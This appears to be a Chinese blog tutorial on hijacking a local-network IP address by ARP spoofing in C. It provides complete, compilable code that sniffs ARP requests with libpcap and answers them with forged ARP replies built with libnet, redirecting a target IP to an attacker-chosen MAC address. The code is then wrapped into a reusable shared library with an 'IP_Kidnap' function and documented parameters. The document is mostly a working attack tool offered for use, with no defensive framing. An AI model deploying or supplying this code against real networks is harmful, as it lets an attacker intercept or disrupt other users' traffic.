通过C语言实现基于ARP的局域网IP挟制
副标题#e#
阅读这篇文章之前,请确认已经熟悉ARP报文伪造的要领,可参考《ARP数据包伪造》。
请看下图,这是全篇文章的鸟瞰:
#p#副标题#e#
要想实现上图的事情流程,必需实现两个模块:
自由的伪造ARP报文
抓取并阐明所有流经网卡的数据包
从上图中可以看出,我们可以通过BPF可能DLPI层实现数据包的抓取阐明,而tcpdump的根本——libpcap库,正是对BPF层的二次封装实现的C库,我们将通过它来实现数据包的抓取阐明。
关于libpcap的基本利用,请参考这篇文章《libpcap利用》。
下面给出一个简朴的libpcap过滤抓包的措施:
1 #include <pcap.h>
2 #include <time.h>
3 #include <stdlib.h>
4 #include <stdio.h>
5
6 unsigned char glTargetIP[4]={192,168,1,99};
7 char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";
8 unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };
9 char * glNICStr="eth2";
10
11 void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
12 {
13 int * id = (int *)arg;
14 unsigned char * src_ip =glTargetIP;
15 unsigned char * src_mac=glRetargetMac;
16 unsigned char * dst_ip =packet+28;
17 unsigned char * dst_mac=packet+22;
18
19 printf("id: %d\n", ++(*id));
20 printf("Packet length: %d\n", pkthdr->len);
21 printf("Number of bytes: %d\n", pkthdr->caplen);
22 printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec));
23
24 int i;
25 for(i=0; i<pkthdr->len; ++i)
26 {
27 printf(" %02x", packet[i]);
28 if( (i + 1) % 16 == 0 )
29 {
30 printf("\n");
31 }
32 }
33
34 printf("\n\n");
35 }
36
37 int main ()
38 {
39 char errBuf[PCAP_ERRBUF_SIZE], * devStr;
40 struct bpf_program filter;
41
42 /* get a device */
43 devStr = pcap_lookupdev(errBuf);
44
45 if(devStr)
46 {
47 printf("success: device: %s\n", devStr);
48 }
49 else
50 {
51 printf("error: %s\n", errBuf);
52 exit(1);
53 }
54
55 /* open a device, wait until a packet arrives */
56 pcap_t * device = pcap_open_live(glNICStr, 65535, 1, 0, errBuf);
57
58 if(!device)
59 {
60 printf("error: pcap_open_live(): %s\n", errBuf);
61 exit(1);
62 }
63 /* set filter */
64 pcap_compile( device,&filter,glBpfCmd,1,0 );
65 pcap_setfilter(device ,&filter );
66 /* wait loop forever */
67 int id = 0;
68 pcap_loop(device, -1, getPacket, (u_char*)&id);
69
70 pcap_close(device);
71
72 return 0;
73 }
gcc name.c -lpcap -o name
团结ARP报文伪造模块,下面给出完整实现代码:
#include <pcap.h> #include <time.h> #include <stdlib.h> #include <stdio.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <libnet.h> #define MAC_ADDR_LEN 6 #define IP_ADDR_LEN 4 unsigned char glTargetIP[4]={192,168,1,99}; char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast "; unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff }; char * glNICStr="eth2"; int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac, unsigned char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes ) { static char padPtr[18]; libnet_t *net_t = NULL; char err_buf[LIBNET_ERRBUF_SIZE]; libnet_ptag_t p_tag; unsigned int i=0; printf("the src_ip_str is ,uint32 src_ip is %d\n",src_ip); printf("the dst_ip_str is ,uint32 dst_ip is %d\n",dst_ip); net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf); if(net_t == NULL) { printf("libnet_init error\n"); return 2; } p_tag = libnet_build_arp( ARPHRD_ETHER,//hardware type ethernet ETHERTYPE_IP,//protocol type MAC_ADDR_LEN,//mac length IP_ADDR_LEN,//protocol length arpOp,//op type (u_int8_t *)src_mac,//source mac addr (u_int8_t *)src_ip,//source ip addr (u_int8_t *)dst_mac,//dest mac addr (u_int8_t *)dst_ip,//dest ip addr padPtr,//payload 18,//payload length net_t,//libnet context 0//0 stands to build a new one ); if(-1 == p_tag) { printf("libnet_build_arp error\n"); libnet_destroy(net_t); return 3; } p_tag = libnet_build_ethernet(//create ethernet header (u_int8_t *)dst_mac,//dest mac addr (u_int8_t *)src_mac,//source mac addr ETHERTYPE_ARP,//protocol type padPtr,//payload 0,//payload length net_t,//libnet context 0//0 to build a new one ); if(-1 == p_tag) { printf("libnet_build_ethernet error!\n"); libnet_destroy(net_t); return 4; } int res; i=0; for(;i<sendTimes;i++) if(-1 == (res = libnet_write(net_t))) { printf("libnet_write error!\n"); libnet_destroy(net_t); return 5; } libnet_destroy(net_t); return 0; FAIL: libnet_destroy(net_t); return 6; } void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet) { int * id = (int *)arg; unsigned char * src_ip =glTargetIP; unsigned char * src_mac=glRetargetMac; unsigned char * dst_ip =packet+28; unsigned char * dst_mac=packet+22; ForgeAndSendArp(glNICStr,src_mac,dst_mac,src_ip,dst_ip,ARPOP_REPLY,1); printf("id: %d\n", ++(*id)); printf("Packet length: %d\n", pkthdr->len); printf("Number of bytes: %d\n", pkthdr->caplen); printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec)); int i; for(i=0; i<pkthdr->len; ++i) { printf(" %02x", packet[i]); if( (i + 1) % 16 == 0 ) { printf("\n"); } } printf("\n\n"); } int main () { char errBuf[PCAP_ERRBUF_SIZE], * devStr; struct bpf_program filter; /* get a device */ devStr = pcap_lookupdev(errBuf); if(devStr) { printf("success: device: %s\n", devStr); } else { printf("error: %s\n", errBuf); exit(1); } /* open a device, wait until a packet arrives */ pcap_t * device = pcap_open_live(glNICStr, 65535, 1, 0, errBuf); if(!device) { printf("error: pcap_open_live(): %s\n", errBuf); exit(1); } /* set filter */ pcap_compile( device,&filter,glBpfCmd,1,0 ); pcap_setfilter(device ,&filter ); /* wait loop forever */ int id = 0; pcap_loop(device, -1, getPacket, (u_char*)&id); pcap_close(device); return 0; }
这个东西的验证功效已经在文章鸟瞰图中给出。
#p#分页标题#e#
下面,我们将这段代码封装成为一个共享库,以供其他措施挪用。
// # gcc name.c -lnet -lpcap -shared -fPIC -o name.so #include <pcap.h> #include <time.h> #include <stdlib.h> #include <stdio.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <libnet.h> #define MAC_ADDR_LEN 6 #define IP_ADDR_LEN 4 static unsigned char * glTargetIP; static char * glBpfCmd; static unsigned char * glRetargetMac; static char * glListenNICStr; static char * glSendNICStr; int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac, unsigned char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes ) { static char padPtr[18]; libnet_t *net_t = NULL; char err_buf[LIBNET_ERRBUF_SIZE]; libnet_ptag_t p_tag; unsigned int i=0; printf("the src_ip_str is ,uint32 src_ip is %d\n",src_ip); printf("the dst_ip_str is ,uint32 dst_ip is %d\n",dst_ip); net_t = libnet_init(LIBNET_LINK_ADV, dev, err_buf); if(net_t == NULL) { printf("libnet_init error\n"); return 2; } p_tag = libnet_build_arp( ARPHRD_ETHER,//hardware type ethernet ETHERTYPE_IP,//protocol type MAC_ADDR_LEN,//mac length IP_ADDR_LEN,//protocol length arpOp,//op type (u_int8_t *)src_mac,//source mac addr (u_int8_t *)src_ip,//source ip addr (u_int8_t *)dst_mac,//dest mac addr (u_int8_t *)dst_ip,//dest ip addr padPtr,//payload 18,//payload length net_t,//libnet context 0//0 stands to build a new one ); if(-1 == p_tag) { printf("libnet_build_arp error\n"); libnet_destroy(net_t); return 3; } p_tag = libnet_build_ethernet(//create ethernet header (u_int8_t *)dst_mac,//dest mac addr (u_int8_t *)src_mac,//source mac addr ETHERTYPE_ARP,//protocol type padPtr,//payload 0,//payload length net_t,//libnet context 0//0 to build a new one ); if(-1 == p_tag) { printf("libnet_build_ethernet error!\n"); libnet_destroy(net_t); return 4; } int res; i=0; for(;i<sendTimes;i++) if(-1 == (res = libnet_write(net_t))) { printf("libnet_write error!\n"); libnet_destroy(net_t); return 5; } libnet_destroy(net_t); return 0; FAIL: libnet_destroy(net_t); return 6; } void static getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet) { int * id = (int *)arg; unsigned char * src_ip =glTargetIP; unsigned char * src_mac=glRetargetMac; unsigned char * dst_ip =packet+28; unsigned char * dst_mac=packet+22; ForgeAndSendArp(glSendNICStr,src_mac,dst_mac,src_ip,dst_ip,ARPOP_REPLY,1); printf("id: %d\n", ++(*id)); printf("Packet length: %d\n", pkthdr->len); printf("Number of bytes: %d\n", pkthdr->caplen); printf("Recieved time: %s", ctime((const time_t *)&pkthdr->ts.tv_sec)); int i; for(i=0; i<pkthdr->len; ++i) { printf(" %02x", packet[i]); if( (i + 1) % 16 == 0 ) { printf("\n"); } } printf("\n\n"); } /* args example static unsigned char glTargetIP[4]={192,168,1,99}; static char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast "; static unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff }; static char * glListenNICStr="eth2"; static char * glSendNICStr="eth2"; */ int IP_Kidnap ( unsigned char * TargetIP,char * BpfCmd, unsigned char * RetargetMac,char * sendNICStr ,char * listenNICStr ) { char errBuf[PCAP_ERRBUF_SIZE], * devStr; struct bpf_program filter; glTargetIP=TargetIP; glBpfCmd=BpfCmd; glRetargetMac=RetargetMac; glSendNICStr=sendNICStr; glListenNICStr=listenNICStr; /* get a device */ devStr = pcap_lookupdev(errBuf); if(devStr) { printf("success: device: %s\n", devStr); } else { printf("error: %s\n", errBuf); exit(1); } /* open a device, wait until a packet arrives */ pcap_t * device = pcap_open_live(glListenNICStr, 65535, 1, 0, errBuf); if(!device) { printf("error: pcap_open_live(): %s\n", errBuf); exit(1); } /* set filter */ pcap_compile( device,&filter,glBpfCmd,1,0 ); pcap_setfilter(device ,&filter ); /* wait loop forever */ int id = 0; pcap_loop(device, -1, getPacket, (u_char*)&id); pcap_close(device); return 0; }
编译后的功效:
#p#分页标题#e#
函数原型:
int ForgeAndSendArp(char * dev,unsigned char * src_mac,unsigned char * dst_mac, unsigned char * src_ip,unsigned char *dst_ip,uint16_t arpOp,unsigned int sendTimes ) /* dev : pointer to nic name, "eth0" for example. src_mac : pointer to uchar array[6],like'unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };' dst_mac : similar as src_mac src_ip : pointer to uchar array[4],like'unsigned char glTargetIP[4]={192,168,1,99};' dst_ip : similar as src_ip arpOp : ARPOP_REQUEST for 1,ARPOP_REPLY for 2,i.e. sendTimes : how many times this packet you want to send */
int IP_Kidnap ( unsigned char * TargetIP,char * BpfCmd, unsigned char * RetargetMac ,char * listenNICStr ,char * sendNICStr ) /* TargetIP: the IP you want kidnap, like ' unsigned char TargetIP[4]={192,168,1,99}; ' BpfCmd : bpf filter cmd,like 'char * glBpfCmd=" arp and dst host 192.168.1.99 and ether broadcast ";' RetargetMac: which mac addr you want to retarget, like ' unsigned char glRetargetMac[6]={ 0x00,0x11,0x11,0x22,0x22,0xff };' ListenNICStr: which nic you want listen,like ' char * glListenNICStr="eth2";' SendNICStr : which nic you want the forged-packet send out,like ' char * glSendNICStr="eth2";' */